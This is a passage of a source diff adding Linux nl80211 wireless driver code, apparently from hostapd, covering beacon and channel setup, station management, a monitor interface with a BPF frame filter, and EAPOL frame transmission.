NULL, NULL); + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: Beacon set failed: %d (%s)", + ret, strerror(-ret)); + } else { + bss->beacon_set = 1; + nl80211_set_bss(bss, params->cts_protect, params->preamble, + params->short_slot_time, params->ht_opmode, + params->isolate, params->basic_rates); + } + return ret; + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static int nl80211_put_freq_params(struct nl_msg *msg, + struct hostapd_freq_params *freq) +{ + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_FREQ, freq->freq); + if (freq->vht_enabled) { + switch (freq->bandwidth) { + case 20: + NLA_PUT_U32(msg, NL80211_ATTR_CHANNEL_WIDTH, + NL80211_CHAN_WIDTH_20); + break; + case 40: + NLA_PUT_U32(msg, NL80211_ATTR_CHANNEL_WIDTH, + NL80211_CHAN_WIDTH_40); + break; + case 80: + if (freq->center_freq2) + NLA_PUT_U32(msg, NL80211_ATTR_CHANNEL_WIDTH, + NL80211_CHAN_WIDTH_80P80); + else + NLA_PUT_U32(msg, NL80211_ATTR_CHANNEL_WIDTH, + NL80211_CHAN_WIDTH_80); + break; + case 160: + NLA_PUT_U32(msg, NL80211_ATTR_CHANNEL_WIDTH, + NL80211_CHAN_WIDTH_160); + break; + default: + return -EINVAL; + } + NLA_PUT_U32(msg, NL80211_ATTR_CENTER_FREQ1, freq->center_freq1); + if (freq->center_freq2) + NLA_PUT_U32(msg, NL80211_ATTR_CENTER_FREQ2, + freq->center_freq2); + } else if (freq->ht_enabled) { + switch (freq->sec_channel_offset) { + case -1: + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, + NL80211_CHAN_HT40MINUS); + break; + case 1: + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, + NL80211_CHAN_HT40PLUS); + break; + default: + NLA_PUT_U32(msg, NL80211_ATTR_WIPHY_CHANNEL_TYPE, + NL80211_CHAN_HT20); + break; + } + } + return 0; + +nla_put_failure: + return -ENOBUFS; +} + + +static int wpa_driver_nl80211_set_freq(struct i802_bss *bss, + struct hostapd_freq_params *freq) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret; + + wpa_printf(MSG_DEBUG, + "nl80211: Set freq %d (ht_enabled=%d, vht_enabled=%d, bandwidth=%d MHz, cf1=%d MHz, cf2=%d MHz)", + freq->freq, freq->ht_enabled, freq->vht_enabled, + freq->bandwidth, freq->center_freq1, freq->center_freq2); + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_SET_WIPHY); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + if (nl80211_put_freq_params(msg, freq) < 0) + goto nla_put_failure; + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret == 0) { + bss->freq = freq->freq; + return 0; + } + wpa_printf(MSG_DEBUG, "nl80211: Failed to set channel (freq=%d): " + "%d (%s)", freq->freq, ret, strerror(-ret)); +nla_put_failure: + nlmsg_free(msg); + return -1; +} + + +static u32 sta_flags_nl80211(int flags) +{ + u32 f = 0; + + if (flags & WPA_STA_AUTHORIZED) + f |= BIT(NL80211_STA_FLAG_AUTHORIZED); + if (flags & WPA_STA_WMM) + f |= BIT(NL80211_STA_FLAG_WME); + if (flags & WPA_STA_SHORT_PREAMBLE) + f |= BIT(NL80211_STA_FLAG_SHORT_PREAMBLE); + if (flags & WPA_STA_MFP) + f |= BIT(NL80211_STA_FLAG_MFP); + if (flags & WPA_STA_TDLS_PEER) + f |= BIT(NL80211_STA_FLAG_TDLS_PEER); + + return f; +} + + +static int wpa_driver_nl80211_sta_add(void *priv, + struct hostapd_sta_add_params *params) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + struct nl80211_sta_flag_update upd; + int ret = -ENOBUFS; + + if ((params->flags & WPA_STA_TDLS_PEER) && + !(drv->capa.flags & WPA_DRIVER_FLAGS_TDLS_SUPPORT)) + return -EOPNOTSUPP; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + wpa_printf(MSG_DEBUG, "nl80211: %s STA " MACSTR, + params->set ? "Set" : "Add", MAC2STR(params->addr)); + nl80211_cmd(drv, msg, 0, params->set ? NL80211_CMD_SET_STATION : + NL80211_CMD_NEW_STATION); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, if_nametoindex(bss->ifname)); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, params->addr); + NLA_PUT(msg, NL80211_ATTR_STA_SUPPORTED_RATES, params->supp_rates_len, + params->supp_rates); + wpa_hexdump(MSG_DEBUG, " * supported rates", params->supp_rates, + params->supp_rates_len); + if (!params->set) { + if (params->aid) { + wpa_printf(MSG_DEBUG, " * aid=%u", params->aid); + NLA_PUT_U16(msg, NL80211_ATTR_STA_AID, params->aid); + } else { + /* + * cfg80211 validates that AID is non-zero, so we have + * to make this a non-zero value for the TDLS case where + * a dummy STA entry is used for now. + */ + wpa_printf(MSG_DEBUG, " * aid=1 (TDLS workaround)"); + NLA_PUT_U16(msg, NL80211_ATTR_STA_AID, 1); + } + wpa_printf(MSG_DEBUG, " * listen_interval=%u", + params->listen_interval); + NLA_PUT_U16(msg, NL80211_ATTR_STA_LISTEN_INTERVAL, + params->listen_interval); + } else if (params->aid && (params->flags & WPA_STA_TDLS_PEER)) { + wpa_printf(MSG_DEBUG, " * peer_aid=%u", params->aid); + NLA_PUT_U16(msg, NL80211_ATTR_PEER_AID, params->aid); + } + if (params->ht_capabilities) { + wpa_hexdump(MSG_DEBUG, " * ht_capabilities", + (u8 *) params->ht_capabilities, + sizeof(*params->ht_capabilities)); + NLA_PUT(msg, NL80211_ATTR_HT_CAPABILITY, + sizeof(*params->ht_capabilities), + params->ht_capabilities); + } + + if (params->vht_capabilities) { + wpa_hexdump(MSG_DEBUG, " * vht_capabilities", + (u8 *) params->vht_capabilities, + sizeof(*params->vht_capabilities)); + NLA_PUT(msg, NL80211_ATTR_VHT_CAPABILITY, + sizeof(*params->vht_capabilities), + params->vht_capabilities); + } + + wpa_printf(MSG_DEBUG, " * capability=0x%x", params->capability); + NLA_PUT_U16(msg, NL80211_ATTR_STA_CAPABILITY, params->capability); + + if (params->ext_capab) { + wpa_hexdump(MSG_DEBUG, " * ext_capab", + params->ext_capab, params->ext_capab_len); + NLA_PUT(msg, NL80211_ATTR_STA_EXT_CAPABILITY, + params->ext_capab_len, params->ext_capab); + } + + os_memset(&upd, 0, sizeof(upd)); + upd.mask = sta_flags_nl80211(params->flags); + upd.set = upd.mask; + wpa_printf(MSG_DEBUG, " * flags set=0x%x mask=0x%x", + upd.set, upd.mask); + NLA_PUT(msg, NL80211_ATTR_STA_FLAGS2, sizeof(upd), &upd); + + if (params->flags & WPA_STA_WMM) { + struct nlattr *wme = nla_nest_start(msg, NL80211_ATTR_STA_WME); + + if (!wme) + goto nla_put_failure; + + wpa_printf(MSG_DEBUG, " * qosinfo=0x%x", params->qosinfo); + NLA_PUT_U8(msg, NL80211_STA_WME_UAPSD_QUEUES, + params->qosinfo & WMM_QOSINFO_STA_AC_MASK); + NLA_PUT_U8(msg, NL80211_STA_WME_MAX_SP, + (params->qosinfo >> WMM_QOSINFO_STA_SP_SHIFT) & + WMM_QOSINFO_STA_SP_MASK); + nla_nest_end(msg, wme); + } + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + msg = NULL; + if (ret) + wpa_printf(MSG_DEBUG, "nl80211: NL80211_CMD_%s_STATION " + "result: %d (%s)", params->set ? "SET" : "NEW", ret, + strerror(-ret)); + if (ret == -EEXIST) + ret = 0; + nla_put_failure: + nlmsg_free(msg); + return ret; +} + + +static int wpa_driver_nl80211_sta_remove(struct i802_bss *bss, const u8 *addr) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_DEL_STATION); + + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, + if_nametoindex(bss->ifname)); + NLA_PUT(msg, NL80211_ATTR_MAC, ETH_ALEN, addr); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + wpa_printf(MSG_DEBUG, "nl80211: sta_remove -> DEL_STATION %s " MACSTR + " --> %d (%s)", + bss->ifname, MAC2STR(addr), ret, strerror(-ret)); + if (ret == -ENOENT) + return 0; + return ret; + nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +static void nl80211_remove_iface(struct wpa_driver_nl80211_data *drv, + int ifidx) +{ + struct nl_msg *msg; + + wpa_printf(MSG_DEBUG, "nl80211: Remove interface ifindex=%d", ifidx); + + /* stop listening for EAPOL on this interface */ + del_ifidx(drv, ifidx); + + msg = nlmsg_alloc(); + if (!msg) + goto nla_put_failure; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_DEL_INTERFACE); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, ifidx); + + if (send_and_recv_msgs(drv, msg, NULL, NULL) == 0) + return; + msg = NULL; + nla_put_failure: + nlmsg_free(msg); + wpa_printf(MSG_ERROR, "Failed to remove interface (ifidx=%d)", ifidx); +} + + +static const char * nl80211_iftype_str(enum nl80211_iftype mode) +{ + switch (mode) { + case NL80211_IFTYPE_ADHOC: + return "ADHOC"; + case NL80211_IFTYPE_STATION: + return "STATION"; + case NL80211_IFTYPE_AP: + return "AP"; + case NL80211_IFTYPE_AP_VLAN: + return "AP_VLAN"; + case NL80211_IFTYPE_WDS: + return "WDS"; + case NL80211_IFTYPE_MONITOR: + return "MONITOR"; + case NL80211_IFTYPE_MESH_POINT: + return "MESH_POINT"; + case NL80211_IFTYPE_P2P_CLIENT: + return "P2P_CLIENT"; + case NL80211_IFTYPE_P2P_GO: + return "P2P_GO"; + case NL80211_IFTYPE_P2P_DEVICE: + return "P2P_DEVICE"; + default: + return "unknown"; + } +} + + +static int nl80211_create_iface_once(struct wpa_driver_nl80211_data *drv, + const char *ifname, + enum nl80211_iftype iftype, + const u8 *addr, int wds, + int (*handler)(struct nl_msg *, void *), + void *arg) +{ + struct nl_msg *msg; + int ifidx; + int ret = -ENOBUFS; + + wpa_printf(MSG_DEBUG, "nl80211: Create interface iftype %d (%s)", + iftype, nl80211_iftype_str(iftype)); + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_NEW_INTERFACE); + if (nl80211_set_iface_id(msg, drv->first_bss) < 0) + goto nla_put_failure; + NLA_PUT_STRING(msg, NL80211_ATTR_IFNAME, ifname); + NLA_PUT_U32(msg, NL80211_ATTR_IFTYPE, iftype); + + if (iftype == NL80211_IFTYPE_MONITOR) { + struct nlattr *flags; + + flags = nla_nest_start(msg, NL80211_ATTR_MNTR_FLAGS); + if (!flags) + goto nla_put_failure; + + NLA_PUT_FLAG(msg, NL80211_MNTR_FLAG_COOK_FRAMES); + + nla_nest_end(msg, flags); + } else if (wds) { + NLA_PUT_U8(msg, NL80211_ATTR_4ADDR, wds); + } + + ret = send_and_recv_msgs(drv, msg, handler, arg); + msg = NULL; + if (ret) { + nla_put_failure: + nlmsg_free(msg); + wpa_printf(MSG_ERROR, "Failed to create interface %s: %d (%s)", + ifname, ret, strerror(-ret)); + return ret; + } + + if (iftype == NL80211_IFTYPE_P2P_DEVICE) + return 0; + + ifidx = if_nametoindex(ifname); + wpa_printf(MSG_DEBUG, "nl80211: New interface %s created: ifindex=%d", + ifname, ifidx); + + if (ifidx <= 0) + return -1; + + /* start listening for EAPOL on this interface */ + add_ifidx(drv, ifidx); + + if (addr && iftype != NL80211_IFTYPE_MONITOR && + linux_set_ifhwaddr(drv->global->ioctl_sock, ifname, addr)) { + nl80211_remove_iface(drv, ifidx); + return -1; + } + + return ifidx; +} + + +static int nl80211_create_iface(struct wpa_driver_nl80211_data *drv, + const char *ifname, enum nl80211_iftype iftype, + const u8 *addr, int wds, + int (*handler)(struct nl_msg *, void *), + void *arg, int use_existing) +{ + int ret; + + ret = nl80211_create_iface_once(drv, ifname, iftype, addr, wds, handler, + arg); + + /* if error occurred and interface exists already */ + if (ret == -ENFILE && if_nametoindex(ifname)) { + if (use_existing) { + wpa_printf(MSG_DEBUG, "nl80211: Continue using existing interface %s", + ifname); + return -ENFILE; + } + wpa_printf(MSG_INFO, "Try to remove and re-create %s", ifname); + + /* Try to remove the interface that was already there. */ + nl80211_remove_iface(drv, if_nametoindex(ifname)); + + /* Try to create the interface again */ + ret = nl80211_create_iface_once(drv, ifname, iftype, addr, + wds, handler, arg); + } + + if (ret >= 0 && is_p2p_net_interface(iftype)) + nl80211_disable_11b_rates(drv, ret, 1); + + return ret; +} + + +static void handle_tx_callback(void *ctx, u8 *buf, size_t len, int ok) +{ + struct ieee80211_hdr *hdr; + u16 fc; + union wpa_event_data event; + + hdr = (struct ieee80211_hdr *) buf; + fc = le_to_host16(hdr->frame_control); + + os_memset(&event, 0, sizeof(event)); + event.tx_status.type = WLAN_FC_GET_TYPE(fc); + event.tx_status.stype = WLAN_FC_GET_STYPE(fc); + event.tx_status.dst = hdr->addr1; + event.tx_status.data = buf; + event.tx_status.data_len = len; + event.tx_status.ack = ok; + wpa_supplicant_event(ctx, EVENT_TX_STATUS, &event); +} + + +static void from_unknown_sta(struct wpa_driver_nl80211_data *drv, + u8 *buf, size_t len) +{ + struct ieee80211_hdr *hdr = (void *)buf; + u16 fc; + union wpa_event_data event; + + if (len < sizeof(*hdr)) + return; + + fc = le_to_host16(hdr->frame_control); + + os_memset(&event, 0, sizeof(event)); + event.rx_from_unknown.bssid = get_hdr_bssid(hdr, len); + event.rx_from_unknown.addr = hdr->addr2; + event.rx_from_unknown.wds = (fc & (WLAN_FC_FROMDS | WLAN_FC_TODS)) == + (WLAN_FC_FROMDS | WLAN_FC_TODS); + wpa_supplicant_event(drv->ctx, EVENT_RX_FROM_UNKNOWN, &event); +} + + +static void handle_frame(struct wpa_driver_nl80211_data *drv, + u8 *buf, size_t len, int datarate, int ssi_signal) +{ + struct ieee80211_hdr *hdr; + u16 fc; + union wpa_event_data event; + + hdr = (struct ieee80211_hdr *) buf; + fc = le_to_host16(hdr->frame_control); + + switch (WLAN_FC_GET_TYPE(fc)) { + case WLAN_FC_TYPE_MGMT: + os_memset(&event, 0, sizeof(event)); + event.rx_mgmt.frame = buf; + event.rx_mgmt.frame_len = len; + event.rx_mgmt.datarate = datarate; + event.rx_mgmt.ssi_signal = ssi_signal; + wpa_supplicant_event(drv->ctx, EVENT_RX_MGMT, &event); + break; + case WLAN_FC_TYPE_CTRL: + /* can only get here with PS-Poll frames */ + wpa_printf(MSG_DEBUG, "CTRL"); + from_unknown_sta(drv, buf, len); + break; + case WLAN_FC_TYPE_DATA: + from_unknown_sta(drv, buf, len); + break; + } +} + + +static void handle_monitor_read(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct wpa_driver_nl80211_data *drv = eloop_ctx; + int len; + unsigned char buf[3000]; + struct ieee80211_radiotap_iterator iter; + int ret; + int datarate = 0, ssi_signal = 0; + int injected = 0, failed = 0, rxflags = 0; + + len = recv(sock, buf, sizeof(buf), 0); + if (len < 0) { + wpa_printf(MSG_ERROR, "nl80211: Monitor socket recv failed: %s", + strerror(errno)); + return; + } + + if (ieee80211_radiotap_iterator_init(&iter, (void*)buf, len)) { + wpa_printf(MSG_INFO, "nl80211: received invalid radiotap frame"); + return; + } + + while (1) { + ret = ieee80211_radiotap_iterator_next(&iter); + if (ret == -ENOENT) + break; + if (ret) { + wpa_printf(MSG_INFO, "nl80211: received invalid radiotap frame (%d)", + ret); + return; + } + switch (iter.this_arg_index) { + case IEEE80211_RADIOTAP_FLAGS: + if (*iter.this_arg & IEEE80211_RADIOTAP_F_FCS) + len -= 4; + break; + case IEEE80211_RADIOTAP_RX_FLAGS: + rxflags = 1; + break; + case IEEE80211_RADIOTAP_TX_FLAGS: + injected = 1; + failed = le_to_host16((*(uint16_t *) iter.this_arg)) & + IEEE80211_RADIOTAP_F_TX_FAIL; + break; + case IEEE80211_RADIOTAP_DATA_RETRIES: + break; + case IEEE80211_RADIOTAP_CHANNEL: + /* TODO: convert from freq/flags to channel number */ + break; + case IEEE80211_RADIOTAP_RATE: + datarate = *iter.this_arg * 5; + break; + case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: + ssi_signal = (s8) *iter.this_arg; + break; + } + } + + if (rxflags && injected) + return; + + if (!injected) + handle_frame(drv, buf + iter.max_length, + len - iter.max_length, datarate, ssi_signal); + else + handle_tx_callback(drv->ctx, buf + iter.max_length, + len - iter.max_length, !failed); +} + + +/* + * we post-process the filter code later and rewrite + * this to the offset to the last instruction + */ +#define PASS 0xFF +#define FAIL 0xFE + +static struct sock_filter msock_filter_insns[] = { + /* + * do a little-endian load of the radiotap length field + */ + /* load lower byte into A */ + BPF_STMT(BPF_LD | BPF_B | BPF_ABS, 2), + /* put it into X (== index register) */ + BPF_STMT(BPF_MISC| BPF_TAX, 0), + /* load upper byte into A */ + BPF_STMT(BPF_LD | BPF_B | BPF_ABS, 3), + /* left-shift it by 8 */ + BPF_STMT(BPF_ALU | BPF_LSH | BPF_K, 8), + /* or with X */ + BPF_STMT(BPF_ALU | BPF_OR | BPF_X, 0), + /* put result into X */ + BPF_STMT(BPF_MISC| BPF_TAX, 0), + + /* + * Allow management frames through, this also gives us those + * management frames that we sent ourselves with status + */ + /* load the lower byte of the IEEE 802.11 frame control field */ + BPF_STMT(BPF_LD | BPF_B | BPF_IND, 0), + /* mask off frame type and version */ + BPF_STMT(BPF_ALU | BPF_AND | BPF_K, 0xF), + /* accept frame if it's both 0, fall through otherwise */ + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0, PASS, 0), + + /* + * TODO: add a bit to radiotap RX flags that indicates + * that the sending station is not associated, then + * add a filter here that filters on our DA and that flag + * to allow us to deauth frames to that bad station. + * + * For now allow all To DS data frames through. + */ + /* load the IEEE 802.11 frame control field */ + BPF_STMT(BPF_LD | BPF_H | BPF_IND, 0), + /* mask off frame type, version and DS status */ + BPF_STMT(BPF_ALU | BPF_AND | BPF_K, 0x0F03), + /* accept frame if version 0, type 2 and To DS, fall through otherwise + */ + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0x0801, PASS, 0), + +#if 0 + /* + * drop non-data frames + */ + /* load the lower byte of the frame control field */ + BPF_STMT(BPF_LD | BPF_B | BPF_IND, 0), + /* mask off QoS bit */ + BPF_STMT(BPF_ALU | BPF_AND | BPF_K, 0x0c), + /* drop non-data frames */ + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 8, 0, FAIL), +#endif + /* load the upper byte of the frame control field */ + BPF_STMT(BPF_LD | BPF_B | BPF_IND, 1), + /* mask off toDS/fromDS */ + BPF_STMT(BPF_ALU | BPF_AND | BPF_K, 0x03), + /* accept WDS frames */ + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 3, PASS, 0), + + /* + * add header length to index + */ + /* load the lower byte of the frame control field */ + BPF_STMT(BPF_LD | BPF_B | BPF_IND, 0), + /* mask off QoS bit */ + BPF_STMT(BPF_ALU | BPF_AND | BPF_K, 0x80), + /* right shift it by 6 to give 0 or 2 */ + BPF_STMT(BPF_ALU | BPF_RSH | BPF_K, 6), + /* add data frame header length */ + BPF_STMT(BPF_ALU | BPF_ADD | BPF_K, 24), + /* add index, was start of 802.11 header */ + BPF_STMT(BPF_ALU | BPF_ADD | BPF_X, 0), + /* move to index, now start of LL header */ + BPF_STMT(BPF_MISC | BPF_TAX, 0), + + /* + * Accept empty data frames, we use those for + * polling activity. + */ + BPF_STMT(BPF_LD | BPF_W | BPF_LEN, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_X, 0, PASS, 0), + + /* + * Accept EAPOL frames + */ + BPF_STMT(BPF_LD | BPF_W | BPF_IND, 0), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0xAAAA0300, 0, FAIL), + BPF_STMT(BPF_LD | BPF_W | BPF_IND, 4), + BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 0x0000888E, PASS, FAIL), + + /* keep these last two statements or change the code below */ + /* return 0 == "DROP" */ + BPF_STMT(BPF_RET | BPF_K, 0), + /* return ~0 == "keep all" */ + BPF_STMT(BPF_RET | BPF_K, ~0), +}; + +static struct sock_fprog msock_filter = { + .len = ARRAY_SIZE(msock_filter_insns), + .filter = msock_filter_insns, +}; + + +static int add_monitor_filter(int s) +{ + int idx; + + /* rewrite all PASS/FAIL jump offsets */ + for (idx = 0; idx < msock_filter.len; idx++) { + struct sock_filter *insn = &msock_filter_insns[idx]; + + if (BPF_CLASS(insn->code) == BPF_JMP) { + if (insn->code == (BPF_JMP|BPF_JA)) { + if (insn->k == PASS) + insn->k = msock_filter.len - idx - 2; + else if (insn->k == FAIL) + insn->k = msock_filter.len - idx - 3; + } + + if (insn->jt == PASS) + insn->jt = msock_filter.len - idx - 2; + else if (insn->jt == FAIL) + insn->jt = msock_filter.len - idx - 3; + + if (insn->jf == PASS) + insn->jf = msock_filter.len - idx - 2; + else if (insn->jf == FAIL) + insn->jf = msock_filter.len - idx - 3; + } + } + + if (setsockopt(s, SOL_SOCKET, SO_ATTACH_FILTER, + &msock_filter, sizeof(msock_filter))) { + wpa_printf(MSG_ERROR, "nl80211: setsockopt(SO_ATTACH_FILTER) failed: %s", + strerror(errno)); + return -1; + } + + return 0; +} + + +static void nl80211_remove_monitor_interface( + struct wpa_driver_nl80211_data *drv) +{ + if (drv->monitor_refcount > 0) + drv->monitor_refcount--; + wpa_printf(MSG_DEBUG, "nl80211: Remove monitor interface: refcount=%d", + drv->monitor_refcount); + if (drv->monitor_refcount > 0) + return; + + if (drv->monitor_ifidx >= 0) { + nl80211_remove_iface(drv, drv->monitor_ifidx); + drv->monitor_ifidx = -1; + } + if (drv->monitor_sock >= 0) { + eloop_unregister_read_sock(drv->monitor_sock); + close(drv->monitor_sock); + drv->monitor_sock = -1; + } +} + + +static int +nl80211_create_monitor_interface(struct wpa_driver_nl80211_data *drv) +{ + char buf[IFNAMSIZ]; + struct sockaddr_ll ll; + int optval; + socklen_t optlen; + + if (drv->monitor_ifidx >= 0) { + drv->monitor_refcount++; + wpa_printf(MSG_DEBUG, "nl80211: Re-use existing monitor interface: refcount=%d", + drv->monitor_refcount); + return 0; + } + + if (os_strncmp(drv->first_bss->ifname, "p2p-", 4) == 0) { + /* + * P2P interface name is of the format p2p-%s-%d. For monitor + * interface name corresponding to P2P GO, replace "p2p-" with + * "mon-" to retain the same interface name length and to + * indicate that it is a monitor interface. + */ + snprintf(buf, IFNAMSIZ, "mon-%s", drv->first_bss->ifname + 4); + } else { + /* Non-P2P interface with AP functionality. */ + snprintf(buf, IFNAMSIZ, "mon.%s", drv->first_bss->ifname); + } + + buf[IFNAMSIZ - 1] = '\0'; + + drv->monitor_ifidx = + nl80211_create_iface(drv, buf, NL80211_IFTYPE_MONITOR, NULL, + 0, NULL, NULL, 0); + + if (drv->monitor_ifidx == -EOPNOTSUPP) { + /* + * This is backward compatibility for a few versions of + * the kernel only that didn't advertise the right + * attributes for the only driver that then supported + * AP mode w/o monitor -- ath6kl. + */ + wpa_printf(MSG_DEBUG, "nl80211: Driver does not support " + "monitor interface type - try to run without it"); + drv->device_ap_sme = 1; + } + + if (drv->monitor_ifidx < 0) + return -1; + + if (linux_set_iface_flags(drv->global->ioctl_sock, buf, 1)) + goto error; + + memset(&ll, 0, sizeof(ll)); + ll.sll_family = AF_PACKET; + ll.sll_ifindex = drv->monitor_ifidx; + drv->monitor_sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (drv->monitor_sock < 0) { + wpa_printf(MSG_ERROR, "nl80211: socket[PF_PACKET,SOCK_RAW] failed: %s", + strerror(errno)); + goto error; + } + + if (add_monitor_filter(drv->monitor_sock)) { + wpa_printf(MSG_INFO, "Failed to set socket filter for monitor " + "interface; do filtering in user space"); + /* This works, but will cost in performance. */ + } + + if (bind(drv->monitor_sock, (struct sockaddr *) &ll, sizeof(ll)) < 0) { + wpa_printf(MSG_ERROR, "nl80211: monitor socket bind failed: %s", + strerror(errno)); + goto error; + } + + optlen = sizeof(optval); + optval = 20; + if (setsockopt + (drv->monitor_sock, SOL_SOCKET, SO_PRIORITY, &optval, optlen)) { + wpa_printf(MSG_ERROR, "nl80211: Failed to set socket priority: %s", + strerror(errno)); + goto error; + } + + if (eloop_register_read_sock(drv->monitor_sock, handle_monitor_read, + drv, NULL)) { + wpa_printf(MSG_INFO, "nl80211: Could not register monitor read socket"); + goto error; + } + + drv->monitor_refcount++; + return 0; + error: + nl80211_remove_monitor_interface(drv); + return -1; +} + + +static int nl80211_setup_ap(struct i802_bss *bss) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + + wpa_printf(MSG_DEBUG, "nl80211: Setup AP(%s) - device_ap_sme=%d use_monitor=%d", + bss->ifname, drv->device_ap_sme, drv->use_monitor); + + /* + * Disable Probe Request reporting unless we need it in this way for + * devices that include the AP SME, in the other case (unless using + * monitor iface) we'll get it through the nl_mgmt socket instead. + */ + if (!drv->device_ap_sme) + wpa_driver_nl80211_probe_req_report(bss, 0); + + if (!drv->device_ap_sme && !drv->use_monitor) + if (nl80211_mgmt_subscribe_ap(bss)) + return -1; + + if (drv->device_ap_sme && !drv->use_monitor) + if (nl80211_mgmt_subscribe_ap_dev_sme(bss)) + return -1; + + if (!drv->device_ap_sme && drv->use_monitor && + nl80211_create_monitor_interface(drv) && + !drv->device_ap_sme) + return -1; + + if (drv->device_ap_sme && + wpa_driver_nl80211_probe_req_report(bss, 1) < 0) { + wpa_printf(MSG_DEBUG, "nl80211: Failed to enable " + "Probe Request frame reporting in AP mode"); + /* Try to survive without this */ + } + + return 0; +} + + +static void nl80211_teardown_ap(struct i802_bss *bss) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + + wpa_printf(MSG_DEBUG, "nl80211: Teardown AP(%s) - device_ap_sme=%d use_monitor=%d", + bss->ifname, drv->device_ap_sme, drv->use_monitor); + if (drv->device_ap_sme) { + wpa_driver_nl80211_probe_req_report(bss, 0); + if (!drv->use_monitor) + nl80211_mgmt_unsubscribe(bss, "AP teardown (dev SME)"); + } else if (drv->use_monitor) + nl80211_remove_monitor_interface(drv); + else + nl80211_mgmt_unsubscribe(bss, "AP teardown"); + + bss->beacon_set = 0; +} + + +static int nl80211_send_eapol_data(struct i802_bss *bss, + const u8 *addr, const u8 *data, + size_t data_len) +{ + struct sockaddr_ll ll; + int ret; + + if (bss->drv->eapol_tx_sock < 0) { + wpa_printf(MSG_DEBUG, "nl80211: No socket to send EAPOL"); + return -1; + } + + os_memset(&ll, 0, sizeof(ll)); + ll.sll_family = AF_PACKET; + ll.sll_ifindex = bss->ifindex; + ll.sll_protocol = htons(ETH_P_PAE); + ll.sll_halen = ETH_ALEN; + os_memcpy(ll.sll_addr, addr, ETH_ALEN); + ret = sendto(bss->drv->eapol_tx_sock, data, data_len, 0, + (struct sockaddr *) &ll, sizeof(ll)); + if (ret < 0) + wpa_printf(MSG_ERROR, "nl80211: EAPOL TX: %s", + strerror(errno)); + + return ret; +} + + +static const u8 rfc1042_header[6] = { 0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00 }; + +static int wpa_driver_nl80211_hapd_send_eapol( + void *priv, const u8 *addr, const u8 *data, + size_t data_len, int encrypt, const u8 *own_addr, u32 flags) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct ieee80211_hdr *hdr; + size_t len; + u8 *pos; + int res; + int qos = flags & WPA_STA_WMM; + + if (drv->device_ap_sme || !drv->use_monitor) + return nl80211_send_eapol_data(bss, addr, data, data_len); + + len = sizeof(*hdr) + (qos ? 2 : 0) + sizeof(rfc1042_header) + 2 + + data_len; + hdr = os_zalloc(len); + if (hdr == NULL) { + wpa_printf(MSG_INFO, "nl80211: Failed to allocate EAPOL buffer(len=%lu)", + (unsigned long) len); + return -1; + } + + hdr->frame_control = + IEEE80211_FC(WLAN_FC_TYPE_DATA, WLAN_FC_STYPE_DATA); + hdr->frame_control |= host_to_le16(WLAN_FC_FROMDS); + if (encrypt) + hdr->frame_control |= host_to_le16(WLAN_FC_ISWEP); + if (qos) { + hdr->frame_control |= + host_to_le16(WLAN_FC_STYPE_QOS_DATA << 4); + } + + memcpy(hdr->IEEE80211_DA_FROMDS, addr, ETH_ALEN); + memcpy(hdr->IEEE80211_BSSID_FROMDS, own_addr, ETH_ALEN); + memcpy(hdr->IEEE80211_SA_FROMDS, own_addr, ETH_ALEN); + pos = (u8 *) (hdr + 1); + + if (qos) { + /* Set highest priority in QoS header */ + pos[0] = 7; + pos[1] = 0; + pos += 2; + } + + memcpy(pos, rfc1042_header, sizeof(rfc1042_header)); + pos += sizeof(rfc1042_header); + WPA_PUT_BE16(pos, ETH_P_PAE); + pos += 2; + memcpy(pos, data, data_len); + + res = wpa_driver_nl80211_send_frame(bss, (u8 *) hdr, len, encrypt, 0, + 0, 0, 0, 0); + if (res < 0) { + wpa_printf(MSG_ERROR, "i802_send_eapol - packet len: %lu - " + "failed: %d (%s)", + (unsigned long) len, errno, strerror(errno)); + } + os_free(hdr); + + return res; +} + + +static int wpa_driver_nl80211_sta_set_flags(void *priv, const u8 *addr, + int total_flags, + int flags_or, int flags_and) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + struct nlattr *flags; + struct nl80211_sta_flag_update upd; + + msg = nlmsg_alloc(); + if (!msg) + 